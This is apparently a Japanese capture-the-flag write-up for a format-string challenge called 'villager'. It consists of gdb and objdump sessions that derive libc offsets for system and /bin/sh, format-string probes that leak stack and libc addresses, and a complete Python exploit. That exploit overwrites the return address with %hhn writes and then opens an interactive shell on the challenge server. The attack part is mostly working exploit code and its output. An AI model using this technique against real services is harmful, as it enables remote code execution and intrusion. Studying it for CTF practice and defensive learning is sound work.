PYTHON3で記述
main+3でスタックの1番目に積まれている__libc_start_main+nnnが何なのかわかっていません。
また、telnetlib.pyでASCIIコードの範囲外エラーが発生したため、一時的に errors="replace" を記述しました。
'''
### ローカルのlinuxに、villagerとlibc.so.6をダウンロード
### libc.so.6を静的解析する。
### __libc_start_mainを逆アセンブルする。⇒0001a470から始まっていることが判明
kali@kali:~$ objdump -d -M intel libc.so.6 | grep __libc_start_main
0001a470 <__libc_start_main>:
1a499: 74 09 je 1a4a4 <__libc_start_main+0x34>
1a4b0: 74 10 je 1a4c2 <__libc_start_main+0x52>
1a4d1: 0f 85 9e 00 00 00 jne 1a575 <__libc_start_main+0x105>
1a4dc: 74 1c je 1a4fa <__libc_start_main+0x8a>
1a50c: 0f 85 cd 00 00 00 jne 1a5df <__libc_start_main+0x16f>
1a514: 0f 85 0d 01 00 00 jne 1a627 <__libc_start_main+0x1b7>
1a530: 75 64 jne 1a596 <__libc_start_main+0x126>
1a591: e9 41 ff ff ff jmp 1a4d7 <__libc_start_main+0x67>
1a5c4: 75 15 jne 1a5db <__libc_start_main+0x16b>
1a5d9: eb f5 jmp 1a5d0 <__libc_start_main+0x160>
1a5dd: eb 8d jmp 1a56c <__libc_start_main+0xfc>
1a606: 74 0c je 1a614 <__libc_start_main+0x1a4>
1a61c: 75 e3 jne 1a601 <__libc_start_main+0x191>
1a622: e9 eb fe ff ff jmp 1a512 <__libc_start_main+0xa2>
1a649: e9 cc fe ff ff jmp 1a51a <__libc_start_main+0xaa>
0001a64e <.annobin___libc_start_main.end>:
kali@kali:~$
### system関数のアドレスを調べる。⇒0003fe70であることが判明
kali@kali:~$ nm -D libc.so.6 | grep system
0003fe70 T __libc_system@@GLIBC_PRIVATE
0011c710 T svcerr_systemerr@GLIBC_2.0
0003fe70 W system@@GLIBC_2.0
kali@kali:~$
### 減算により__libc_start_mainとsystem関数のオフセットを求める。⇒154112であることが判明
### linuxのpython2を使用
kali@kali:~$ python
Python 2.7.18 (default, Apr 20 2020, 20:30:41)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> int(0x0003fe70 - 0x0001a470)
154112
>>>
### libc.so.6上の/bin/shの使用箇所のアドレスを調べる。⇒1535aaであることが判明
kali@kali:~$ strings -tx libc.so.6 | grep '/bin/sh'
1535aa /bin/sh
kali@kali:~$
### 減算により__libc_start_mainと/bin/shのオフセットを求める。⇒1282362であることが判明
### linuxのpython2を使用
kali@kali:~$ python
Python 2.7.18 (default, Apr 20 2020, 20:30:41)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> int(0x1535aa - 0x0001a470)
1282362
>>>
### gdbでvillagerをデバッグする。
kali@kali:~$ gdb -q villager
Reading symbols from villager...
(No debugging symbols found in villager)
### デバッグ開始
(gdb) start
Temporary breakpoint 1 at 0x8b3
Starting program: /home/kali/villager
Temporary breakpoint 1, 0x565558b3 in main ()
(gdb)
### 開始直後にいったん4wordほどダンプする。
(gdb) x/4wx $esp
0xffffd228: 0x00000000 0xf7afee46 0x00000001 0xffffd2d4
(gdb)
### mainを逆アセンブルする
(gdb) disas main
Dump of assembler code for function main:
0x565558b0 <+0>: push %ebp
0x565558b1 <+1>: mov %esp,%ebp
=> 0x565558b3 <+3>: and $0xfffffff0,%esp
0x565558b6 <+6>: sub $0x20,%esp
0x565558b9 <+9>: mov %gs:0x14,%eax
0x565558bf <+15>: mov %eax,0x1c(%esp)
0x565558c3 <+19>: xor %eax,%eax
0x565558c5 <+21>: movl $0x56555a2c,(%esp)
0x565558cc <+28>: call 0xf7b50420 <puts>
0x565558d1 <+33>: mov 0xf7cc5dbc,%eax
0x565558d6 <+38>: mov %eax,(%esp)
0x565558d9 <+41>: call 0xf7b4e320 <fflush>
0x565558de <+46>: xchg %ax,%ax
0x565558e0 <+48>: movl $0x3,(%esp)
0x565558e7 <+55>: call 0xf7baa8a0 <sleep>
0x565558ec <+60>: call 0x565557f0 <_Z4convv>
0x565558f1 <+65>: test %al,%al
0x565558f3 <+67>: je 0x565558e0 <main+48>
0x565558f5 <+69>: movl $0x56555a34,(%esp)
0x565558fc <+76>: call 0xf7b50420 <puts>
0x56555901 <+81>: mov 0xf7cc5dbc,%eax
0x56555906 <+86>: mov %eax,(%esp)
0x56555909 <+89>: call 0xf7b4e320 <fflush>
0x5655590e <+94>: xor %eax,%eax
0x56555910 <+96>: mov 0x1c(%esp),%edx
0x56555914 <+100>: xor %gs:0x14,%edx
0x5655591b <+107>: jne 0x5655591f <main+111>
0x5655591d <+109>: leave
0x5655591e <+110>: ret
0x5655591f <+111>: nop
0x56555920 <+112>: call 0xf7bf3a20 <__stack_chk_fail>
End of assembler dump.
(gdb)
### <+60> のサブルーチン <_Z4convv> を逆アセンブルする。
(gdb) disas _Z4convv
Dump of assembler code for function _Z4convv:
0x565557f0 <+0>: push %ebp
0x565557f1 <+1>: mov %esp,%ebp
0x565557f3 <+3>: sub $0x138,%esp
0x565557f9 <+9>: movl $0x565559fc,(%esp)
0x56555800 <+16>: mov %ebx,-0xc(%ebp)
0x56555803 <+19>: lea -0x11c(%ebp),%ebx
0x56555809 <+25>: mov %esi,-0x8(%ebp)
0x5655580c <+28>: mov %ebx,%esi
0x5655580e <+30>: mov %edi,-0x4(%ebp)
0x56555811 <+33>: mov $0x56555a2a,%edi
0x56555816 <+38>: mov %gs:0x14,%eax
0x5655581c <+44>: mov %eax,-0x1c(%ebp)
0x5655581f <+47>: xor %eax,%eax
0x56555821 <+49>: call 0xf7b50420 <puts>
0x56555826 <+54>: mov 0xf7cc5dbc,%eax
0x5655582b <+59>: mov %eax,(%esp)
0x5655582e <+62>: call 0xf7b4e320 <fflush>
0x56555833 <+67>: mov 0xf7cc5dc0,%eax
0x56555838 <+72>: movl $0x100,0x4(%esp)
0x56555840 <+80>: mov %ebx,(%esp)
0x56555843 <+83>: mov %eax,0x8(%esp)
0x56555847 <+87>: call 0xf7b4e640 <fgets>
0x5655584c <+92>: mov $0x2,%ecx
0x56555851 <+97>: mov $0x1,%eax
0x56555856 <+102>: repz cmpsb %es:(%edi),%ds:(%esi)
0x56555858 <+104>: seta %cl
0x5655585b <+107>: setb %dl
0x5655585e <+110>: cmp %dl,%cl
0x56555860 <+112>: je 0x56555891 <_Z4convv+161>
0x56555862 <+114>: movl $0x56555a0e,(%esp)
0x56555869 <+121>: call 0xf7b34020 <printf>
0x5655586e <+126>: mov %ebx,(%esp)
0x56555871 <+129>: call 0xf7b34020 <printf>
0x56555876 <+134>: movl $0x56555a13,(%esp)
0x5655587d <+141>: call 0xf7b50420 <puts>
0x56555882 <+146>: mov 0xf7cc5dbc,%eax
0x56555887 <+151>: mov %eax,(%esp)
0x5655588a <+154>: call 0xf7b4e320 <fflush>
0x5655588f <+159>: xor %eax,%eax
0x56555891 <+161>: mov -0x1c(%ebp),%edx
--Type <RET> for more, q to quit, c to continue without paging--
0x56555894 <+164>: xor %gs:0x14,%edx
0x5655589b <+171>: jne 0x565558aa <_Z4convv+186>
0x5655589d <+173>: mov -0xc(%ebp),%ebx
0x565558a0 <+176>: mov -0x8(%ebp),%esi
0x565558a3 <+179>: mov -0x4(%ebp),%edi
0x565558a6 <+182>: mov %ebp,%esp
0x565558a8 <+184>: pop %ebp
0x565558a9 <+185>: ret
0x565558aa <+186>: call 0xf7bf3a20 <__stack_chk_fail>
End of assembler dump.
(gdb)
### puts関数をコールする直前の <+134> でスタックに積んでいる文字列を確認する。
(gdb) x/s 0x56555a13
0x56555a13: "Here is Despair Town...\n"
(gdb)
### 一連の対話での最後で、system /bin/shを実行することを目指す。
### ここにブレイクポイントを入れる。
(gdb) b *_Z4convv+134
Breakpoint 2 at 0x56555876
(gdb)
### 再開する。同時に、入力値がスタック上何番目に積まれているかを特定する。⇒7番目と判明
(gdb) c
Continuing.
Welcome
What's your name?
aaaa,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
Hi, aaaa,0x100,0xf7cc5580,(nil),0x400,(nil),(nil),0x61616161,0x2c70252c,0x252c7025,0x70252c70
Breakpoint 2, 0x56555876 in conv() ()
(gdb)
### 100wordほどスタックをダンプする。
(gdb) x/100wx $esp
0xffffd0c0: 0xffffd0dc 0x00000100 0xf7cc5580 0x00000000
0xffffd0d0: 0x00000400 0x00000000 0x00000000 0x61616161
0xffffd0e0: 0x2c70252c 0x252c7025 0x70252c70 0x2c70252c
0xffffd0f0: 0x252c7025 0x70252c70 0x2c70252c 0x000a7025
0xffffd100: 0xf7ffd000 0x00000008 0x00000008 0xf7b5adab
0xffffd110: 0x00000001 0x5655cbb0 0x00000008 0xd7cdcf00
0xffffd120: 0xf7cc5d20 0x00000180 0xffffffbc 0x00000000
0xffffd130: 0xffffd1d4 0xffffffa4 0xffffd1d4 0xf7ba447e
0xffffd140: 0x00000000 0x00000000 0xffffd15c 0xffffd16c
0xffffd150: 0xf7cc5d20 0x000007d4 0x00000008 0x00000003
0xffffd160: 0x00000000 0x00000000 0x00000000 0x00000008
0xffffd170: 0x0000000a 0x00000007 0xffffd1f8 0xd7cdcf00
0xffffd180: 0xf7cc5d20 0xf7cc5000 0x7fffffff 0xf7baa9e0
0xffffd190: 0x00000000 0x00000000 0xffffd1d4 0xffffd1d4
0xffffd1a0: 0x000004a2 0xf7baa9c6 0x00000000 0xf7baa90d
0xffffd1b0: 0xffffd1d4 0xffffd1d4 0xffffd1f8 0xf7b4e3a0
0xffffd1c0: 0xf7cc5d20 0x0000000a 0x00000007 0x00000000
0xffffd1d0: 0xf7fb3020 0x00000003 0x00000000 0xd7cdcf00
0xffffd1e0: 0x56556fbc 0xf7cc5000 0xffffd1f8 0x00000000
0xffffd1f0: 0xf7cc5000 0xf7cc5000 0xffffd228 0x565558f1
0xffffd200: 0x00000003 0xf7cc5000 0xf7cc5000 0xf7b17ce5
0xffffd210: 0xf7fe3230 0x00000000 0x5655594b 0xd7cdcf00
0xffffd220: 0xf7cc5000 0xf7cc5000 0x00000000 0xf7afee46
0xffffd230: 0x00000001 0xffffd2d4 0xffffd2dc 0xffffd264
0xffffd240: 0x00000001 0xffffd2d4 0xffffd2dc 0xf7cc5000
(gdb)
# 0相対で79word目に、mainの <+65> 行目のアドレスが積まれていることがわかる。
# 1つ前の78word目の値は、スタックの90番目を指している。
# 1つ後ろの91番目は、start直後にスタックをダンプした際、1word目に積まれている値といっしょである。
# 再度、4wordダンプする。⇒ <__libc_start_main+262> のアドレスが積まれていることを確認
(gdb) x/4wx 0xf7afee46
0xf7afee46 <__libc_start_main+262>: 0x8310c483 0xe8500cec 0x00018afe 0xb48b5656
(gdb)
### 以上は、ローカルでの調査であるため、ctfqサーバ自体の__libc_start_mainのアドレスは判明していない。
### 実サーバの libc.so.6のアドレスを調べるために、q4ユーザーでアクセスする。
PS C:\> ssh q4@ctfq.u1tramarine.blue -p 10004
q4@ctfq.u1tramarine.blue's password:
[q4@eceec62b961b ~]$
### q4プログラムをデバッグする。
[q4@eceec62b961b ~]$ gdb -q q4
Reading symbols from q4...(no debugging symbols found)...done.
(gdb)
### デバッグ開始
(gdb) start
Temporary breakpoint 1 at 0x80485b7
Starting program: /home/q4/q4
warning: Error disabling address space randomization: Operation not permitted
Missing separate debuginfos, use: yum debuginfo-install glibc-2.28-127.el8.i686
warning: Loadable section ".note.gnu.property" outside of ELF segments
warning: Loadable section ".note.gnu.property" outside of ELF segments
Temporary breakpoint 1, 0x080485b7 in main ()
Missing separate debuginfos, use: yum debuginfo-install libgcc-8.3.1-5.1.el8.i686 libstdc++-8.3.1-5.1.el8.i686
(gdb)
### 開始直後に4wordほどダンプする。
(gdb) x/4wx $esp
0xff8a9d88: 0x00000000 0xf7ac2569 0x00000001 0xff8a9e24
(gdb)
### スタックの1番目をダンプする。⇒ <__libc_start_main+249> であることが判明
(gdb) x/4wx 0xf7ac2569
0xf7ac2569 <__libc_start_main+249>: 0x8310c483 0xe8500cec 0x000179ab 0x4c8b5656
(gdb)
### これにより、_Z4convv+134 でのスタックの91番目は、<__libc_start_main+262> ではなく、
### <__libc_start_main+249> であると考えられる。
'''
import socket
import struct
import sys
import telnetlib
import time
def connect(ip, port):
return socket.create_connection((ip, port))
def p(x):
return struct.pack('<I', x)
def interact(s):
print('---- interactivee mode ----')
t = telnetlib.Telnet()
t.sock = s
t.interact()
s = connect("ctfq.u1tramarine.blue", 10023)
print("%s" % s.recv(1024).decode())
print("%s" % s.recv(1024).decode())
s.send(b"%91$x\n")
recv = s.recv(1024)
libc_main_addr = int(recv[4:].split(b" ")[0].split(b"\n")[0], 16) - 249
system_addr = libc_main_addr + 154112
print("system関数:%x" % system_addr)
binsh_addr = libc_main_addr + 1282362
print("/bin/sh :%x" % binsh_addr)
print("%s" % s.recv(1024).decode())
s.send(b"%78$x\n")
recv= s.recv(1024)
ret_addr = int(recv[4:].split(b" ")[0].split(b"\n")[0], 16) - 44
print("esp上でリターンアドレスを格納した場所のアドレス:%x" % ret_addr)
payload = p(ret_addr)
payload += p(ret_addr+1)
payload += p(ret_addr+2)
payload += p(ret_addr+3)
payload += p(ret_addr+8)
payload += p(ret_addr+9)
payload += p(ret_addr+10)
payload += p(ret_addr+11)
b=[0,0,0,0]
a=[0,0,0,0]
for x in range(4):
b[3 - x] = int(hex(binsh_addr)[x*2+2:x*2+4], 16)
for x in range(4):
a[3 - x] = int(hex(system_addr)[x*2+2:x*2+4], 16)
print(a)
print(b)
b[3] = ((b[3]-b[2]-1) % 0x100) + 1
b[2] = ((b[2]-b[1]-1) % 0x100) + 1
b[1] = ((b[1]-b[0]-1) % 0x100) + 1
b[0] = ((b[0]-a[3]-1) % 0x100) + 1
a[3] = ((a[3]-a[2]-1) % 0x100) + 1
a[2] = ((a[2]-a[1]-1) % 0x100) + 1
a[1] = ((a[1]-a[0]-1) % 0x100) + 1
a[0] = ((a[0]-len(payload)-1) % 0x100) + 1
index = 7
payload += b"%%%dc%%%d$hhn" % (a[0], index)
payload += b"%%%dc%%%d$hhn" % (a[1], index+1)
payload += b"%%%dc%%%d$hhn" % (a[2], index+2)
payload += b"%%%dc%%%d$hhn" % (a[3], index+3)
payload += b"%%%dc%%%d$hhn" % (b[0], index+4)
payload += b"%%%dc%%%d$hhn" % (b[1], index+5)
payload += b"%%%dc%%%d$hhn" % (b[2], index+6)
payload += b"%%%dc%%%d$hhn" % (b[3], index+7)
payload += b"\n"
print( payload )
s.send(payload)
time.sleep(0.1)
interact(s)
※他にもコードの参考にしたサイトがありますが、flagが記載されているため掲載しませんでした。